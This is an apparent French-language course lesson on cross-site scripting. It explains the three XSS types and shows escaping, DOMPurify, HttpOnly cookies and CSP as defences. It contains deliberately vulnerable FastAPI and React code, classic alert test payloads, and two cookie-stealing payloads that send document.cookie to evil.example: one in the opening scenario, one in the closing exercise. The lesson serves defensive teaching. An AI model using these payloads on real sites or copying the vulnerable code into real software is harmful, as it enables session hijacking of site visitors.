cyber / cybersecurite-fondamentale
OWASP Top 10 : Cross-Site Scripting (XSS)
Explication
Ce que vous allez apprendre
- Distinguer XSS reflected, stored et DOM-based, et savoir pourquoi le stored est le plus dangereux
- Comprendre pourquoi l'échappement HTML systématique neutralise la quasi-totalité des XSS
- Repérer les échappatoires dangereuses (
dangerouslySetInnerHTML, autoescape désactivé) et les sécuriser avec DOMPurify - Mettre en place des défenses complémentaires (cookies HttpOnly, Content-Security-Policy)
- Écrire des payloads de test XSS classiques pour un audit en environnement de lab autorisé
Dans quel contexte ?
Un site communautaire permet aux utilisateurs de laisser des commentaires sous les articles. Un attaquant poste un commentaire contenant <script>document.location='https://evil.example/steal?c='+document.cookie</script>. Si le site affiche ce commentaire sans l'échapper, chaque visiteur qui lit la page exécute ce script à son insu et voit son cookie de session envoyé à l'attaquant. C'est un XSS stored : il touche tout le monde, sans action répétée de l'attaquant.
Première étape : la même famille de problème, une cible différente. L'injection SQL trompait la base de données. Le XSS, Cross-Site Scripting, trompe plutôt le navigateur de la victime. Le principe de fond reste identique : une donnée non fiable est traitée comme du CODE plutôt que comme du simple texte.
La différence, c'est ce qui s'exécute. Ici, le code exécuté est du JavaScript, et il tourne dans le navigateur de quelqu'un d'autre, avec ses cookies et ses droits à lui. C'est ce qui rend le XSS particulièrement dangereux : l'attaquant agit à la place de la victime.
Deuxième étape : il existe trois façons pour le payload d'arriver jusqu'à la victime.
| Type de XSS | Où vit le payload | Portée |
|---|---|---|
| Reflected | Dans la requête (URL, formulaire), renvoyé tel quel | Une victime par lien piégé cliqué |
| Stored | Enregistré en base (commentaire, profil) | Tous les visiteurs de la page |
| DOM-based | Jamais transmis au serveur, manipulation JS côté client | Dépend du flux JavaScript vulnérable |
Pourquoi le stored est plus dangereux que le reflected ? Parce qu'il touche tout le monde automatiquement, sans que l'attaquant ait besoin de refaire une action à chaque fois.
Troisième étape : la vraie défense, l'échappement. Échapper consiste à transformer les caractères qui ont un sens spécial en HTML, comme le signe "<", en leur équivalent inoffensif "<", avant de les afficher. Le navigateur affiche alors ce texte tel quel, au lieu de l'interpréter comme une balise exécutable.
Bonne nouvelle : c'est déjà fait pour vous par défaut. Les moteurs de templates modernes, comme Jinja2 ou JSX en React, activent l'échappement automatiquement. La sécurité devient le comportement normal, et il faut un choix explicite du développeur pour la désactiver.
Piège fréquent
dangerouslySetInnerHTML en React, ou l'autoescape désactivé en Jinja2, existent pour des cas légitimes comme afficher du HTML riche généré par un éditeur. Mais dès qu'on les utilise, la responsabilité de nettoyer les données bascule entièrement sur le développeur, d'où l'intérêt d'un assainisseur dédié comme DOMPurify plutôt qu'un filtrage fait maison.
Bonne pratique
Les cookies HttpOnly empêchent JavaScript de lire le cookie de session même si un XSS réussit, et la CSP, vue plus loin dans le cours, limite fortement ce qu'un script injecté peut faire. Ce sont des filets de sécurité supplémentaires, jamais des excuses pour négliger l'échappement de base.
La prochaine leçon change encore de cible : au lieu de tromper le navigateur, on va voir comment un attaquant peut le faire agir à votre insu, avec le CSRF.
Commandes & code
OWASP Top 10 : Cross-Site Scripting (XSS)
Le XSS permet à un attaquant d'injecter du JavaScript exécuté dans le navigateur d'une victime, dans le contexte du site vulnérable (vol de session, actions au nom de la victime).
# Trois types de XSS
Reflected : le payload vient de la requête (URL, formulaire) et est renvoyé tel quel dans la réponse
Stored : le payload est enregistré en base (commentaire, profil) et exécuté pour chaque visiteur
DOM-based : le payload n'atteint jamais le serveur, exécuté via manipulation JS côté client uniquement<!-- Payload de démonstration (lab autorisé) : XSS reflected via un paramètre de recherche non échappé -->
<!-- URL : https://lab.local/search?q=<script>alert(document.cookie)</script> -->
<!-- Si le serveur renvoie q tel quel dans le HTML sans échappement : -->
<p>Résultats pour : <script>alert(document.cookie)</script></p># VULNÉRABLE : rendu HTML sans échappement (Jinja2 avec autoescape désactivé, ou f-string brute)
from fastapi.responses import HTMLResponse
@app.get("/search")
async def search_vulnerable(q: str):
return HTMLResponse(f"<p>Résultats pour : {q}</p>") # q injecté tel quel dans le HTML# CORRECT : échappement systématique côté serveur (Jinja2 autoescape=True par défaut avec FastAPI/Starlette)
from fastapi.templating import Jinja2Templates
templates = Jinja2Templates(directory="templates") # autoescape activé par défaut sur les .html
@app.get("/search")
async def search_safe(request: Request, q: str):
return templates.TemplateResponse("search.html", {"request": request, "query": q})
# Dans search.html : {{ query }} est automatiquement échappé (< devient <, etc.)// Côté React (frontend Next.js) : React échappe par défaut le texte inséré via JSX
function SearchResult({ query }) {
return <p>Résultats pour : {query}</p>; // sûr, React échappe automatiquement
}
// DANGEREUX : dangerouslySetInnerHTML contourne volontairement la protection de React
function SearchResultUnsafe({ query }) {
return <p dangerouslySetInnerHTML={{ __html: query }} />; // à éviter sauf contenu déjà assaini
}// Si du HTML utilisateur doit vraiment être rendu (ex: éditeur riche), l'assainir avec DOMPurify
import DOMPurify from "dompurify";
function renderUserContent(rawHtml) {
const clean = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "li"],
ALLOWED_ATTR: ["href"],
});
return clean; // sûr à injecter via dangerouslySetInnerHTML après assainissement
}# Défense en profondeur : cookie de session HttpOnly (inaccessible en JavaScript même en cas de XSS)
Set-Cookie: session=eyJhbGciOi...; HttpOnly; Secure; SameSite=Strict; Path=/
# Content-Security-Policy restreint drastiquement l'impact d'un XSS résiduel (voir leçon dédiée)
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'# Payloads de test classiques pour un audit XSS en lab autorisé
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(document.domain)</script>
javascript:alert(1) # dans un attribut href non filtréRésumé
- Reflected, Stored, DOM-based : trois vecteurs, même cause racine (donnée non fiable rendue comme code).
- L'échappement systématique (autoescape Jinja2, JSX React) est la défense de premier niveau.
dangerouslySetInnerHTMLet équivalents doivent passer par un assainisseur (DOMPurify).- Cookies
HttpOnly/Secure/SameSiteet CSP limitent l'impact d'un XSS qui passerait malgré tout.
Exercices pratiques
Mission : le commentaire piégé du forum Technologik
Objectif : Identifier le type de XSS exploité dans un scénario concret et corriger le rendu vulnérable côté serveur et frontend.
Contexte
Sur le forum d'entraide de Technologik, un utilisateur poste un commentaire contenant <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">. Ce commentaire est stocké en base puis affiché sans échappement à chaque visiteur de la page. Le cookie de session du forum n'a pas l'attribut HttpOnly.